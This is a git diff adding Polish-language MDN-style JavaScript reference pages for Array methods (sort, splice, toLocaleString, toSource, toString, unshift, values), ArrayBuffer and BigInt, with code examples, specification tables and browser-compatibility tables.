Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.8")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
diff --git a/files/pl/web/javascript/reference/global_objects/array/sort/index.html b/files/pl/web/javascript/reference/global_objects/array/sort/index.html new file mode 100644 index 0000000000..2b53d4e6d5 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/sort/index.html @@ -0,0 +1,122 @@ +--- +title: Array.prototype.sort() +slug: Web/JavaScript/Referencje/Obiekty/Array/sort +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Sortuje elementy tablicy.

+ +

Składnia

+ +
arr.sort([compareFunction])
+ +

Parametry

+ +
+
compareFunction 
+
jest nazwą funkcji porównującej elementy. Jeżeli parametr zostanie pominięty, tablica będzie posortowana w porządku leksykograficznym (alfabetycznie).
+
+ +

Opis

+ +

Jeżeli compareFunction nie zostanie podana, elementy zostaną posortowane leksykograficznie (alfabetycznie - słownikowo) według porównania ich reprezentacji znakowej (łańcucha znaków). Przykładowo "80" znajdzie się przed "9" w porządku leksykograficznym, pomimo że numerycznie 9 poprzedza 80.

+ +

Jeżeli compareFunction zostanie podana, elementy tablicy zostaną posortowane odpowiednio do wartości zwracanej przez funkcję porównującą. Jeżeli a oraz b są dwoma porównywanymi elementami tablicy to:

+ + + + + + + +

Ogólna postać funkcji porównującej wygląda następująco:

+ +
function compare(a, b) {
+   if (a mniejsze niż b według kryteriów sortowania)
+      return -1
+   if (a większe od b według kryteriów sortowania)
+      return 1
+   // a równe b
+   return 0
+}
+
+ +

W celu porównania liczb, zamiast napisów, funkcja porównująca może odejmować b od a:

+ +
function compareNumbers(a, b) {
+   return a - b
+}
+
+ +

Niektóre implementacje JavaScript wykonują sortowanie stabilne: kolejność elementów a i b nie jest zmieniana jeśli a i b są sobie równe. Jeżeli przed sortowaniem a jest w tablicy wcześniej niż b oraz a i b są sobie równe, to po sortowaniu ich kolejność będzie taka sama (niezależnie od tego, jak zmienią się pozycje elementów a i b).

+ +

Przykłady

+ +

Przykład: Tworzenie, wyświetlanie i sortowanie tablic

+ +

Następujący przykład tworzy cztery tablice i wyświetla oryginalną tablicę, potem posortowane tablice. Tablice liczbowe są sortowane najpierw bez podania funkcji porównującej, następnie z taką funkcją.

+ +
stringArray = new Array("Blue","Humpback","Beluga")
+numericStringArray = new Array("80","9","700")
+numberArray = new Array(40,1,5,200)
+mixedNumericArray = new Array("80","9","700",40,1,5,200)
+
+function compareNumbers(a, b) {
+   return a - b
+}
+
+console.log("tablicaNapisów: " + stringArray.join())
+console.log("Posortowana: " + stringArray.sort())
+
+console.log("tablicaLiczbowa: " + numberArray.join())
+console.log("Posortowana bez funkcji porównującej: " + numberArray.sort())
+console.log("Posortowana z funkcją porównującą: " + numberArray.sort(compareNumbers))
+
+console.log("tablicaNapisówLiczbowych: " + numericStringArray.join())
+console.log("Posortowana bez funkcji porównującej: " + numericStringArray.sort())
+console.log("Posortowana z funkcją porównującą: " + numericStringArray.sort(compareNumbers))
+
+console.log("tablicaLiczbowaMieszna: " + mixedNumericArray.join())
+console.log("Posortowana bez funkcji porównującej: " + mixedNumericArray.sort())
+console.log("Posortowana z funkcją porównującą: " + mixedNumericArray.sort(compareNumbers))
+
+ +

Ten przykład wyświetla następujące dane. Jak widać, przy zastosowaniu funkcji porównującej, liczby są sortowane prawidłowo niezależnie od tego czy są przedstawiane jako wartości liczbowe bądź też napisy.

+ +
tablicaNapisów: Blue,Humpback,Beluga
+Posortowana: Beluga,Blue,Humpback
+
+tablicaLiczbowa: 40,1,5,200
+Posortowana bez funkcji porównującej: 1,200,40,5
+Posortowana z funkcją porównującą: 1,5,40,200
+
+tablicaNapisówLiczbowych: 80,9,700
+Posortowana bez funkcji porównującej: 700,80,9
+Posortowana z funkcją porównującą: 9,80,700
+
+tablicaLiczbowaMieszna: 80,9,700,40,1,5,200
+Posortowana bez funkcji porównującej: 1,200,40,5,700,80,9
+Posortowana z funkcją porównującą: 1,5,9,40,80,200,700
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/splice/index.html b/files/pl/web/javascript/reference/global_objects/array/splice/index.html new file mode 100644 index 0000000000..cc4d13def3 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/splice/index.html @@ -0,0 +1,86 @@ +--- +title: Array.prototype.splice() +slug: Web/JavaScript/Referencje/Obiekty/Array/splice +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Zmienia zawartość tablicy, dodając nowe elementy podczas usuwania starych elementów.

+ +

Składnia

+ +
array.splice(start, deleteCount[, item1[, item2[, ...]]])
+
+ +

Parametry

+ +
+
start
+
Indeks od którego rozpoczynamy modyfikację tablicy.
+
+ +
+
deleteCount
+
Liczba całkowita określająca liczbę starych elementów tablicy do usunięcia. Jeżeli deleteCount wynosi 0, nic nie zostanie usunięte. W tym przypadku należy podać co najmniej jeden nowy element. W przypadku gdy parametr deleteCount nie został podany (druga forma składni podana powyżej, która jest rozszerzeniem SpiderMonkey), wszystkie elementy o indeksach wyższych lub równych index są usuwane.
+
+ +
+
itemN
+
Elementy dodawane do tablicy. Jeżeli nie określimy żadnych elementów, splice usunie tylko podaną liczbę elementów.
+
+ +

Opis

+ +

Jeżeli podamy różną liczbę wstawianych elementów od liczby usuwanych elementów, tablica będzie posiadała inną długość po wywołaniu metody splice.

+ +

Metoda splice zwraca tablicę zawierającą usunięte elementy. Jeżeli usunięty został tylko jeden element, zwracana jest tablica jednoelementowa.

+ +

Przykłady

+ +

Przykład: Zastosowanie splice

+ +

Następujący skrypt ilustruje użycie splice:

+ +
myFish = ["anioł", "klaun", "mandarynka", "jesiotr"];
+console.log("myFish: " + myFish);
+
+removed = myFish.splice(2, 0, "bęben");
+console.log("Po dodaniu 1: " + myFish);
+console.log("Usunięty jest: " + removed);
+
+removed = myFish.splice(3, 1)
+console.log("Po usunięciu 1: " + myFish);
+console.log("Usunięty jest: " + removed);
+
+removed = myFish.splice(2, 1, "trąba")
+console.log("Po zastąpieniu 1: " + myFish);
+console.log("Usunięty jest: " + removed);
+
+removed = myFish.splice(0, 2, "papuga", "zawilec", "niebieski")
+console.log("Po zastąpieniu 2: " + myFish);
+console.log("Usunięty jest: " + removed);
+
+ +

Ten skrypt wyświetli:

+ +
myFish: ["anioł", "klaun", "mandarynka", "jesiotr"]
+
+Po dodaniu 1: ["anioł", "klaun", "bęben", "mandarynka", "jesiotr"]
+Usunięty jest: undefined
+
+Po usunięciu 1: ["anioł", "klaun", "bęben, "jesiotr"]
+Usunięty jest: mandarynka
+
+Po zastąpieniu 1: ["anioł", "klaun", "trąba", "jesiotr"]
+Usunięty jest: bęben
+
+Po zastąpieniu 2: ["papuga", "zawilec", "niebieski", "trąba", "jesiotr"]
+Usunięty jest: ["anioł", "klaun"]
+
diff --git a/files/pl/web/javascript/reference/global_objects/array/tolocalestring/index.html b/files/pl/web/javascript/reference/global_objects/array/tolocalestring/index.html new file mode 100644 index 0000000000..1dc476c413 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/tolocalestring/index.html @@ -0,0 +1,128 @@ +--- +title: Array.prototype.toLocaleString() +slug: Web/JavaScript/Referencje/Obiekty/Array/toLocaleString +translation_of: Web/JavaScript/Reference/Global_Objects/Array/toLocaleString +--- +
{{JSRef}}
+ +
Metoda toLocaleString() zwraca łańcuch znaków reprezentujący wszystkie elementy w tablicy. Każdy element jest konwerterowany do  łańcucha znaku za pomocą lokalnych wywołań toLocaleString. Elementy łaczone są separatorem zdefiniowanym dla lokalnego języka (np. przecinek).
+ +
+ +

Składnia

+ +
arr.toLocaleString();
+ +

Opis

+ +

Poniższe elementy tablic są konwertowane na łańcuchy znaków za pomocą wbudowanych metod toLocaleString

+ + + +

Przykład

+ +

Użycie toLocaleString

+ +
let numer = 1337;
+let data = new Date();
+let tablica = [numer , data, 'foo'];
+
+let str = tablica.toLocaleString();
+
+console.log(str);
+// logs '1337,19.11.2020, 17:21:06,foo'
+// if run in a Polish (pl-PL) locale with timezone Europe/Warsaw
+
+
+let strEn = tablica.toLocaleString("en-US");  // "1,337,11/19/2020, 5:21:06 PM,foo"
+ + + +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarze
{{SpecName('ES3')}}{{Spec2('ES3')}}Inicjalna definicja
{{SpecName('ES5.1', '#sec-15.2.4.3', 'Array.prototype.toLocaleString')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}{{Spec2('ES6')}}
+ +

Zgodność z przeglądarkami

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/tosource/index.html b/files/pl/web/javascript/reference/global_objects/array/tosource/index.html new file mode 100644 index 0000000000..675e8431a2 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/tosource/index.html @@ -0,0 +1,62 @@ +--- +title: Array.prototype.toSource() +slug: Web/JavaScript/Referencje/Obiekty/Array/toSource +tags: + - Array + - JavaScript + - Method + - Non-standard + - Prototype + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/toSource +--- +
{{JSRef}} {{non-standard_header}}
+ +

Podsumowanie

+ +

Zwraca łańcuch znaków reprezentujący kod źródłowy tablicy.

+ +

Składnia

+ +
arr.toSource()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Metoda toSource zwraca następujące wartości:

+ +

This shouldn't be here, but until reorganization where pages are moved to their proper places, the title of this article is ambiguous, so it can stay. After reorganization, this should be removed.

+ + + +

Metoda ta jest zazwyczaj wywoływana wewnętrznie przez JavaScript, a nie bezpośrednio w kodzie. Możliwe jest wywołanie toSource podczas debugowania, aby zbadać zawartość tablicy.

+ +

Przykłady

+ +

Przykład: Sprawdzanie kodu źródłowego tablicy

+ +

Do sprawdzania kodu źródłowego tablicy:

+ +
var alpha = new Array("a", "b", "c");
+
+alpha.toSource() //zwraca ["a", "b", "c"]
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/tostring/index.html b/files/pl/web/javascript/reference/global_objects/array/tostring/index.html new file mode 100644 index 0000000000..e4801cbdc4 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/tostring/index.html @@ -0,0 +1,42 @@ +--- +title: Array.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/Array/toString +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/toString +--- +
{{JSRef}}
+ +

Metoda toString() zwraca łańcuch znaków reprezentujący daną tablicę wraz z jej elementami.

+ +
var months = ['Styczeń', 'Luty', 'Marzec', 'Kwiecień'];
+months.toString(); // "Styczeń,Luty,Marzec,Kwiecień"
+
+ +

Składnia

+ +
arr.toString()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Obiekt {{jsxref("Array")}} przesłania metodę toString obiektu {{jsxref("Object")}}. Dla obiektów Array, metoda toString łączy tablicę i zwraca jeden łańcuch znaków zawierający wszystkie elementy tablicy oddzielone przecinkami. Przykładowo poniższy kod tworzy tablicę i stosuje metodę toString, aby przekształcić tablicę do łańcucha znaków.

+ +
var monthNames = new Array("Jan","Feb","Mar","Apr")
+var myVar = monthNames.toString() // przypisuje "Jan,Feb,Mar,Apr" do zmiennej myVar
+
+ +

JavaScript wywołuje metodę toString automatycznie, gdy tablica jest traktowana jako wartość tekstowa lub kiedy istnieje odniesienie do tej tablicy wewnątrz połączonego łańcucha znaków.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/unshift/index.html b/files/pl/web/javascript/reference/global_objects/array/unshift/index.html new file mode 100644 index 0000000000..56346f6552 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/unshift/index.html @@ -0,0 +1,56 @@ +--- +title: Array.prototype.unshift() +slug: Web/JavaScript/Referencje/Obiekty/Array/unshift +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/unshift +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Dodaje jeden lub więcej elementów na początek tablicy i zwraca jej nową długość.

+ +

Składnia

+ +
arr.unshift([element1[, ...[, elementN]]])
+ +

Parametry

+ +
+
element + N +  
+
Elementy do dodania na początek tablicy.
+
+ +

Przykłady

+ +

Przykład: Dodawanie elementów do tablicy

+ +

Następujący kod wyświetli tablicę myFish przed i po dodaniu do niej elementów.

+ +
myFish = ["anioł", "klaun"];
+console.log("myFish przed: " + myFish);
+unshifted = myFish.unshift("bęben", "lew");
+console.log("myFish po: " + myFish);
+console.log("Nowa długość tablicy: " + unshifted);
+
+ +

Powyższy przykład wyświetli:

+ +
myFish przed: ["anioł", "klaun"]
+myFish po: ["bęben", "lew", "anioł", "klaun"]
+Nowa długość tablicy: 4
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/values/index.html b/files/pl/web/javascript/reference/global_objects/array/values/index.html new file mode 100644 index 0000000000..b079877dd9 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/values/index.html @@ -0,0 +1,84 @@ +--- +title: Array.prototype.values() +slug: Web/JavaScript/Referencje/Obiekty/Array/values +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Metodă + - Prototype + - Tablica +translation_of: Web/JavaScript/Reference/Global_Objects/Array/values +--- +
{{JSRef}}
+ +

Metoda values() zwraca nowy obiekt Array Iterator , który zawiera wartości dla każdego indeksu w tablicy.

+ +
var a = ['w', 'y', 'k', 'o', 'p'];
+var iterator = a.values();
+
+console.log(iterator.next().value); // w
+console.log(iterator.next().value); // y
+console.log(iterator.next().value); // k
+console.log(iterator.next().value); // o
+console.log(iterator.next().value); // p
+ +

Składnia

+ +
arr.values()
+ +

Zwracana wartość

+ +

Nowy obiekt {{jsxref("Array")}} iterator.

+ +

Przykłady

+ +

Iteracja używająca pętli for...of

+ +
var arr = ['w', 'y', 'k', 'o', 'p'];
+var iterator = arr.values();
+
+for (let letter of iterator) {
+  console.log(letter);
+}
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-array.prototype.values', 'Array.prototype.values')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-array.prototype.values', 'Array.prototype.values')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność przeglądarek

+ +
+ + +

{{Compat("javascript.builtins.Array.values")}}

+
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/arraybuffer/index.html b/files/pl/web/javascript/reference/global_objects/arraybuffer/index.html new file mode 100644 index 0000000000..f01e0fa67c --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/arraybuffer/index.html @@ -0,0 +1,222 @@ +--- +title: ArrayBuffer +slug: Web/JavaScript/Referencje/Obiekty/ArrayBuffer +tags: + - ArrayBuffer + - JavaScript + - Konstruktor + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer +--- +
{{JSRef}}
+ +

Objekt ArrayBuffer reprezentuje buffer z surowymi danymi binarnymi o niezmiennej długości. Nie możesz bezpośrednio wpływać na zawartość obiektu ArrayBuffer, możesz natomiast stworzyć jeden z obiektów typedArray lub obiekt {{jsxref("DataView")}} reprezentujący buffer w specjalnym formacie i używać tego obiektu do odczytu oraz zapisu treści buffera.

+ +

Składnia

+ +
new ArrayBuffer(length)
+
+ +

Parametry

+ +
+
długość(length)
+
Rozmiar, w bajtach, tworzony z bufferu tablicy (array buffer).
+
+ +

Wartość zwrócona

+ +

Nowy obiekt ArrayBuffer o określonym rozmiarze. Jego wartości początkowe wynoszą 0.

+ +

Wyjątki

+ +

{{jsxref("RangeError")}} pojawi się, jeśli długość (length) jest większa niż {{jsxref("Number.MAX_SAFE_INTEGER")}} (>= 2 ** 53) lub ujemna.

+ +

Opis

+ +

Konstruktor ArrayBuffer tworzy nowy ArrayBuffer z podanej długości (length) w bajtach.

+ +

Otrzymywanie bufferu tablicy z istniejących danych

+ + + +

Właściwości

+ +
+
ArrayBuffer.length
+
Właściwość długości konstruktura ArrayBuffer, której wartość wynosi 1.
+
{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}}
+
Funkcja konstruktora jest używana do tworzenia dostarczanych obiektów.
+
{{jsxref("ArrayBuffer.prototype")}}
+
Pozwala dodać właściwości do wszystkich obiektów ArrayBuffer.
+
+ +

Metody

+ +
+
{{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}
+
Zwraca true, jeśli arg jest jednym z widoków ArrayBuffer, jak obiekty typedArray lub {{jsxref("DataView")}}. W innych przypadkach zwraca false.
+
{{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(oldBuffer [, newByteLength])")}} {{experimental_inline}}
+
+
Zwraca nowy ArrayBuffer, którego zawartości są pobrane z danych oldBuffer. Następnie zostaje skrócony lub przedłużony od 0 przez newByteLength.
+
+
+ +

Instancje ArrayBuffer

+ +

Wszystkie instancje ArrayBuffer dziedziczą z {{jsxref("ArrayBuffer.prototype")}}.

+ +

Właściwości

+ +

{{page('en-US/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Properties')}}

+ +

Metody

+ +

{{page('en-US/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Methods')}}

+ +
+
{{jsxref("ArrayBuffer.slice()")}} {{non-standard_inline}}
+
Posiada tę samą funkcjonalność, jak {{jsxref("ArrayBuffer.prototype.slice()")}}.
+
+ +

Przykłady

+ +

W niniejszym przykładzie tworzymy 8-bajtowy buffer z widokiem {{jsxref("Global_Objects/Int32Array", "Int32Array")}} odnoszącym się do buffera:

+ +
var buffer = new ArrayBuffer(8);
+var view   = new Int32Array(buffer);
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Zastępiony przez ECMAScript 6.
{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}{{Spec2('ES6')}}Definicja początkowa w standardzie ECMA. Zgłasza, że wymagany jest new.
{{SpecName('ESDraft', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność z przeglądarkami

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CechaChromeFirefox (Gecko)Internet ExplorerOperaSafari
Wsparcie podstawowe7.0{{CompatGeckoDesktop("2")}}1011.65.1
ArrayBuffer() bez odsyłacza new{{CompatUnknown}}{{CompatGeckoDesktop("44")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
ArrayBuffer.slice() {{non-standard_inline}}{{CompatNo}}{{CompatVersionUnknown}}
+ {{CompatNo}} {{CompatGeckoDesktop("53")}}
{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CechaAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Wsparcie podstawowe4.0{{CompatVersionUnknown}}{{CompatGeckoMobile("2")}}1011.64.2
ArrayBuffer() bez odsyłacza new{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("44")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
ArrayBuffer.slice() {{non-standard_inline}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}
+ {{CompatNo}} {{CompatGeckoMobile("53")}}
{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
+
+ +

Zapis kompatybilny

+ +

Od ECMAScript 2015 kontruktory ArrayBuffer muszą być tworzone poprzez operator {{jsxref("Operators/new", "new")}}. Wywoływanie kontruktora ArrayBuffer jako funkcji bez new zaskutkuje od teraz pojawieniem się {{jsxref("TypeError")}}.

+ +
var dv = ArrayBuffer(10);
+// TypeError: calling a builtin ArrayBuffer constructor
+// without new is forbidden
+ +
var dv = new ArrayBuffer(10);
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/bigint/asintn/index.html b/files/pl/web/javascript/reference/global_objects/bigint/asintn/index.html new file mode 100644 index 0000000000..f3d7de5b66 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/bigint/asintn/index.html @@ -0,0 +1,79 @@ +--- +title: BigInt.asIntN() +slug: Web/JavaScript/Referencje/Obiekty/BigInt/asIntN +tags: + - BigInt + - JavaScript + - Metodă + - Referencja + - asIntN +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asIntN +--- +
{{JSRef}}
+ +

Metoda statyczna BigInt.asIntN jest używana do opakowywania wartości BigInt w wartości całkowite ze znakiem w zakresie od -2szerokość-1 do 2szerokość-1-1.

+ +
{{EmbedInteractiveExample("pages/js/bigint-asintn.html", "taller")}}
+ + + +

Składnia

+ +
BigInt.asIntN(szerokość, bigint);
+ +

Parametry

+ +
+
szerokość
+
Liczba bitów dostępnych dla rozmiaru wartości całkowitej (integer).
+
bigint
+
Wartość całkowita, którą chcemy wpasować w daną liczbę bitów.
+
+ +

Wynik

+ +

Wartość bigint modulo 2szerokość jako liczba całkowita ze znakiem.

+ +

Przykłady

+ +

Pozostawanie w zakresie arytmetyki 64-bitowej

+ +

Metoda BigInt.asIntN() może być użyteczna do tego, by pozostać w zakresie obliczeń arytmetyki 64-bitowej.

+ +
const max = 2n ** (64n - 1n) - 1n;
+
+BigInt.asIntN(64, max);
+// ↪ 9223372036854775807n
+
+BigInt.asIntN(64, max + 1n);
+// ↪ -9223372036854775807n
+// wartość ujemna ze względu na przepełnienie
+
+ +

Specyfikacje

+ + + + + + + + + + + + +
Specyfikacja
{{SpecName('ESDraft', '#sec-bigint.asintn', 'BigInt.asIntN()')}}
+ +

Wsparcie przeglądarek

+ + + +

{{Compat("javascript.builtins.BigInt.asIntN")}}

+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/bigint/asuintn/index.html b/files/pl/web/javascript/reference/global_objects/bigint/asuintn/index.html new file mode 100644 index 0000000000..0f290f50c4 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/bigint/asuintn/index.html @@ -0,0 +1,78 @@ +--- +title: BigInt.asUintN() +slug: Web/JavaScript/Referencje/Obiekty/BigInt/asUintN +tags: + - BigInt + - JavaScript + - Metodă + - Referencja + - asUintN +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asUintN +--- +
{{JSRef}}
+ +

Metoda statyczna BigInt.asUintN jest używana do opakowywania wartości BigInt w wartości całkowite bez znaku w zakresie od 0 do 2szerokość-1.

+ +
{{EmbedInteractiveExample("pages/js/bigint-asuintn.html", "taller")}}
+ + + +

Składnia

+ +
BigInt.asUintN(szerokość, bigint);
+ +

Parametry

+ +
+
szerokość
+
Liczba bitów dostępnych dla rozmiaru wartości całkowitej (integer).
+
bigint
+
Wartość całkowita, którą chcemy wpasować w daną liczbę bitów.
+
+ +

Wynik

+ +

Wartość bigint modulo 2szerokość jako wartość całkowita bez znaku.

+ +

Przykłady

+ +

Pozostawanie w zakresie arytmetyki 64-bitowej

+ +

Metoda BigInt.asUintN() może być użyteczna do tego, by pozostać w zakresie obliczeń arytmetyki 64-bitowej.

+ +
const max = 2n ** 64n - 1n;
+
+BigInt.asUintN(64, max);
+// ↪ 18446744073709551615n
+
+BigInt.asUintN(64, max + 1n);
+// ↪ 0n
+// zero z powodu przepełnienia
+ +

Specyfikacje

+ + + + + + + + + + + + +
Specyfikacja
{{SpecName('ESDraft', '#sec-bigint.asuintn', 'BigInt.asUintN()')}}
+ +

Wsparcie przeglądarek

+ + + +

{{Compat("javascript.builtins.BigInt.asUintN")}}

+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/bigint/index.html b/files/pl/web/javascript/reference/global_objects/bigint/index.html new file mode 100644 index 0000000000..650604b0c3 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/bigint/index.html @@ -0,0 +1,293 @@ +--- +title: BigInt +slug: Web/JavaScript/Referencje/Obiekty/BigInt +tags: + - BigInt + - JavaScript + - Referencja +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt +--- +
{{JSRef}}
+ +

BigInt jest wbudowanym obiektem umożliwiającym reprezentowanie całych liczb większch niż 253 - 1, ile wynosi największa liczba, którą JavaScript może faktycznie reprezentować przez prymityw {{JSxRef("Number")}}, co jest też reprezentowane przez stałą {{JSxRef("Number.MAX_SAFE_INTEGER")}}. BigInt może być używany do dowolnie dużych liczb całkowitych.

+ +
+
+ +

Opis

+ +

BigInt jest tworzony przez dodanie n na końcu literału liczby — 10n — lub przez wywołanie funkcji BigInt().

+ +
const najwiekszyInt = 9007199254740991n
+
+const tezDuzaLiczba = BigInt(9007199254740991)
+// ↪ 9007199254740991n
+
+const duzyString = BigInt("9007199254740991")
+// ↪ 9007199254740991n
+
+const duzyHex = BigInt("0x1fffffffffffff")
+// ↪ 9007199254740991n
+
+const duzyBin = BigInt("0b11111111111111111111111111111111111111111111111111111")
+// ↪ 9007199254740991n
+
+ +

BigInt jest w pewnym sensie podobny do {{JSxRef("Number")}} ale też różni się od niego w kilku kluczowych sprawach — nie może być używany z metodami wbudowanego obiektu {{JSxRef("Math")}}, a także nie może być mieszany z instancjami Number w żadnych operacjach; konieczne jest wymuszenie tego samego typu operandów. Należy uważać z wymuszaniem typów w jedną i drugą stronę, w szczególności precyzja BigInt może być utracona przy wymuszonej konwersji do typu Number.

+ +

Informacje o typie

+ +

Przy sprawdzeniu za pomocą typeof, BigInt zwróci "bigint":

+ +
typeof 1n === 'bigint'           // true
+typeof BigInt('1') === 'bigint'  // true
+
+ +

Obudowany w Object, BigInt będzie rozważany jako zwykły "obiekt":

+ +
typeof Object(1n) === 'object'  // true
+
+ +

Operatory

+ +

Z BigIntami (lub BigIntami obudowanymi w obiekty) mogą być używane następujące operatory: : +, *, -, **, %.

+ +

Operatory bitowe także są wspierane, z wyjątkiem >>> (przesunięcie w prawo z dopełnieniem zerami), gdyż wszystkie BigInty mają znak.

+ +

Niewspierany jest także operator jednoargumentowy (+), aby nie złamać zasad asm.js.

+ +
const previousMaxSafe = BigInt(Number.MAX_SAFE_INTEGER)
+// ↪ 9007199254740991n
+
+const maxPlusOne = previousMaxSafe + 1n
+// ↪ 9007199254740992n
+
+const theFuture = previousMaxSafe + 2n
+// ↪ 9007199254740993n, this works now!
+
+const multi = previousMaxSafe * 2n
+// ↪ 18014398509481982n
+
+const subtr = multi – 10n
+// ↪ 18014398509481972n
+
+const mod = multi % 10n
+// ↪ 2n
+
+const bigN = 2n ** 54n
+// ↪ 18014398509481984n
+
+bigN * -1n
+// ↪ –18014398509481984n
+
+ +

Operator / także działa zgodnie z założeniami z całymi liczbami.

+ +

Jako że są to BigInty, a nie BigDecimal, operacja dzielenia będzie zaokroąglała wynik do 0 (zatem można prościej powiedzieć, że nie zwraca ułamkowej części wyniku).

+ +
+

Ułamkowy wynik operacji będzie przycięty, kiedy używany jest  BigInt.

+
+ +
const expected = 4n / 2n
+// ↪ 2n
+
+const rounded = 5n / 2n
+// ↪ 2n, not 2.5n
+
+
+ +

Porównania

+ +

BigInt nie jest ściśle równy {{JSxRef("Number")}}, ale jest równy w luźnym sensie, zatem:

+ +
0n === 0
+// ↪ false
+
+0n == 0
+// ↪ true
+ +

{{JSxRef("Global_Objects/Number", "Number")}} i BigInt mogą być porównywane w zwyczajny sposób:

+ +
1n < 2
+// ↪ true
+
+2n > 1
+// ↪ true
+
+2 > 2
+// ↪ false
+
+2n > 2
+// ↪ false
+
+2n >= 2
+// ↪ true
+ +

Mogą być też mieszane w tablicach i sortowane:

+ +
const mixed = [4n, 6, -12n, 10, 4, 0, 0n]
+// ↪  [4n, 6, -12n, 10, 4, 0, 0n]
+
+mixed.sort()
+// ↪ [-12n, 0, 0n, 4n, 4, 6, 10]
+
+ +

Zauważ, że porównania z BigIntami opakowanymi w obiekty działają jak z innymi obiektami, wskazując równość tylko wtedy, kiedy ta sama instancja obiektu znajduje się po obu stronach porównania:

+ +
0n === Object(0n)          // false
+Object(0n) === Object(0n)  // false
+
+const o = Object(0n)
+o === o                    // true
+
+ +

Instrukcje warunkowe

+ +

BigInt zachowuje się jak {{JSxRef("Global_Objects/Number", "Number")}} w przypadkach, gdy:

+ + + +
if (0n) {
+  console.log('Hello from the if!')
+} else {
+  console.log('Hello from the else!')
+}
+
+// ↪ "Hello from the else!"
+
+0n || 12n
+// ↪ 12n
+
